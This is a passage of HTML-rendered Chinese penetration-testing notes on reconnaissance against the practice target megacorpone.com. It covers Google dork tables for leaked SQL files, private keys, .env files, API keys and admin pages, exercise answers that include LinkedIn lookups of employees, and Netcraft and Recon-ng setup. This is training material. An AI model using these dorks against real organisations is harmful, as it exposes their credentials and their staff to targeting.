&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DNS服务器&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; - 扫描DNS服务器 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DNS服务器&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 的开放端口（如53 UDP/TCP）&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524221631385" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524221631385.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="google-信息收集"&gt;Google 信息收集
&lt;/h2&gt;&lt;p&gt;用法总集篇：https://www.exploit-db.com/google-hacking-database&lt;/p&gt;
&lt;h3 id="1-敏感文件与数据泄露"&gt;&lt;strong&gt;1. 敏感文件与数据泄露&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:sql&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索目标域名的SQL数据库文件（可能含明文密码或数据表结构）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;-----BEGIN RSA PRIVATE KEY-----&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找泄露的SSH私钥。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:env OR filetype:ini&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找 &lt;code&gt;.env&lt;/code&gt;（环境变量）或 &lt;code&gt;.ini&lt;/code&gt;（配置文件），常含API密钥、数据库密码。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com ext:sql intext:password&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索含密码字段的SQL文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;api_key&amp;quot; OR &amp;quot;api_secret&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找硬编码的API密钥。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250524222351727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222351727.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524222427640" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222427640.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524222550612" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222550612.png"&gt;&lt;/p&gt;
&lt;h3 id="2-后台与登录入口"&gt;&lt;strong&gt;2. 后台与登录入口&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com intitle:&amp;quot;login&amp;quot; inurl:/admin&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找管理员登录页面（如 &lt;code&gt;/admin/login.php&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:/wp-admin&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;定位WordPress后台（若未重命名）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com intitle:&amp;quot;index of /cgi-bin&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;发现CGI脚本目录（可能含未授权访问的脚本）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:debug&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找调试页面（如 &lt;code&gt;debug.php&lt;/code&gt;，可能暴露代码逻辑）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-服务器与目录信息泄露"&gt;&lt;strong&gt;3. 服务器与目录信息泄露&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;intitle:&amp;quot;index of&amp;quot; site:megacorpone.com&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;列出开放目录（可能暴露敏感文件）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Directory listing for&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;另一种目录列表泄露的关键词。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Apache/2.4.29 (Ubuntu) Server at&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;根据服务器Banner信息定位特定版本的主机（可关联CVE漏洞）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;X-Powered-By: PHP/7.2&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找运行指定PHP版本的服务器。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4-备份文件与历史数据"&gt;&lt;strong&gt;4. 备份文件与历史数据&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:bak&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索备份文件（如 &lt;code&gt;web.config.bak&lt;/code&gt;、&lt;code&gt;database.sql.bak&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:/backup&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找备份目录（可能含数据库或代码备份）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;backup.zip&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接定位压缩备份文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;This is a snapshot of&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找网站快照备份页面。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="5-漏洞与错误信息利用"&gt;&lt;strong&gt;5. 漏洞与错误信息利用&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;`site:megacorpone.com &amp;ldquo;error&amp;rdquo;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&amp;ldquo;warning&amp;rdquo;`&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;sql syntax near&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;定位SQL报错页面（可能存在SQL注入漏洞）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Stack trace:&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找Java/PHP堆栈跟踪信息（暴露代码逻辑）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;PHP Fatal error&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;发现PHP致命错误页面。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="6-员工与内部信息收集"&gt;&lt;strong&gt;6. 员工与内部信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:linkedin.com employees megacorpone.com&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索LinkedIn上目标公司的员工信息。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;confidential&amp;quot; OR &amp;quot;internal&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找标有“内部”或“机密”的文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:github.com &amp;quot;megacorpone.com&amp;quot; password&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;在GitHub中搜索目标相关代码中的密码泄露。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;@megacorpone.com&amp;quot; filetype:csv&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找包含公司邮箱的CSV文件（可能为员工列表）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250524222722742" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222722742.png"&gt;&lt;/p&gt;
&lt;h3 id="7-高级组合技巧"&gt;&lt;strong&gt;7. 高级组合技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;排除干扰&lt;/strong&gt;：
&lt;code&gt;site:megacorpone.com -site:www.megacorpone.com&lt;/code&gt;（排除主站，专注子域名）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通配符模糊搜索&lt;/strong&gt;：
&lt;code&gt;site:megacorpone.com inurl:prod*env&lt;/code&gt;（匹配 &lt;code&gt;prod.env&lt;/code&gt;、&lt;code&gt;production.env&lt;/code&gt; 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间范围限定&lt;/strong&gt;：
在Google搜索工具中限定时间（如过去一年），找到最新泄露的数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="课后练习"&gt;课后练习
&lt;/h3&gt;&lt;p&gt;Exercises&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Who is the VP of Legal for MegaCorp One and what is their email address?&lt;/li&gt;
&lt;li&gt;Use Google dorks (either your own or any from the GHDB) to search &lt;a class="link" href="https://www.megacorpone.com" target="_blank" rel="noopener"
 &gt;www.megacorpone.com&lt;/a&gt; for interesting documents.&lt;/li&gt;
&lt;li&gt;What other MegaCorp One employees can you identify that are not listed on &lt;a class="link" href="https://www.megacorpone.com" target="_blank" rel="noopener"
 &gt;www.megacorpone.com&lt;/a&gt;?&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-1"&gt;&lt;strong&gt;练习 1&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
找到 MegaCorp One 的法律副总裁（VP of Legal）及其邮箱地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LinkedIn 员工信息挖掘&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:linkedin.com/in &amp;#34;MegaCorp One&amp;#34; &amp;#34;VP Legal&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;搜索 LinkedIn 上职位为 “VP Legal” 且公司为 “MegaCorp One” 的用户。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223130436" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223130436.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.linkedin.com/in/mike-carlow-8128896a/" target="_blank" rel="noopener"
 &gt;https://www.linkedin.com/in/mike-carlow-8128896a/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223400449" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223400449.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;公司网站内部页面&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com &amp;#34;leadership&amp;#34; OR &amp;#34;executive team&amp;#34; &amp;#34;legal&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在公司官网的“领导团队”或“管理层”页面中查找法律相关职位。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250524223442277" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223442277.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223531302" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223531302.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文档泄露&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:pdf &amp;#34;VP Legal&amp;#34; email 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索公司 PDF 文件中提及法律副总裁和邮箱的内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-2"&gt;&lt;strong&gt;练习 2&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
使用 Google 语法（或 GHDB 中的语法）搜索 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 的“有趣文档”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;敏感文件搜索&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:pdf OR filetype:doc OR filetype:xls 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;查找所有 PDF、Word、Excel 文档（可能含财务报告、客户数据）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配置与备份文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com (ext:env OR ext:bak OR ext:sql) 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索环境变量文件、备份文件或 SQL 数据库文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后台与登录入口&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com inurl:admin OR intitle:&amp;#34;login&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;查找管理员后台或登录页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目录遍历&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com intitle:&amp;#34;index of&amp;#34; &amp;#34;parent directory&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;发现开放目录列表（可能泄露源码、图片等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250524223724535" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223724535.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-3"&gt;&lt;strong&gt;练习 3&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
找出未在 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 官网列出的其他员工。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;社交媒体与代码库&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;site:github.com &amp;ldquo;megacorpone.com&amp;rdquo; &amp;ldquo;employee&amp;rdquo; OR &amp;ldquo;staff&amp;rdquo;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
- 在 GitHub 代码中搜索员工信息（如注释中的邮箱、测试账号）。

 ![image-20250524223824273](https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223824273.png)

2. **会议与演讲记录**：

```markdown
site:youtube.com OR site:slideshare.net &amp;#34;MegaCorp One&amp;#34; &amp;#34;speaker&amp;#34; 
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;查找公司员工在外部会议或演讲中公开的姓名和职位。
&lt;img alt="image-20250524224007354" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224007354.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;新闻稿与合作伙伴&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:news.google.com &amp;#34;MegaCorp One&amp;#34; &amp;#34;announces&amp;#34; OR &amp;#34;partner&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;从新闻稿中挖掘未在官网列出的员工（如项目负责人）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;WHOIS 与域名关联&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;MegaCorp One&amp;#34; site:whois.com 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;通过 WHOIS 查询关联域名，获取注册人姓名和邮箱（可能为员工）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泄露的通讯录&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:csv &amp;#34;contact&amp;#34; OR &amp;#34;employee&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索泄露的 CSV 通讯录文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="netcraft--信息收集"&gt;Netcraft 信息收集
&lt;/h2&gt;&lt;p&gt;网址：https://searchdns.netcraft.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524224507660" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224507660.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524224547650" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224547650.png"&gt;&lt;/p&gt;
&lt;h2 id="recon-ng-信息收集workspaces-create-my_workspace"&gt;Recon-ng 信息收集workspaces create my_workspace
&lt;/h2&gt;&lt;h3 id="1-安装与启动"&gt;&lt;strong&gt;1. 安装与启动&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装（Kali 默认已预装，若需更新）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install recon-ng
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;recon-ng
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
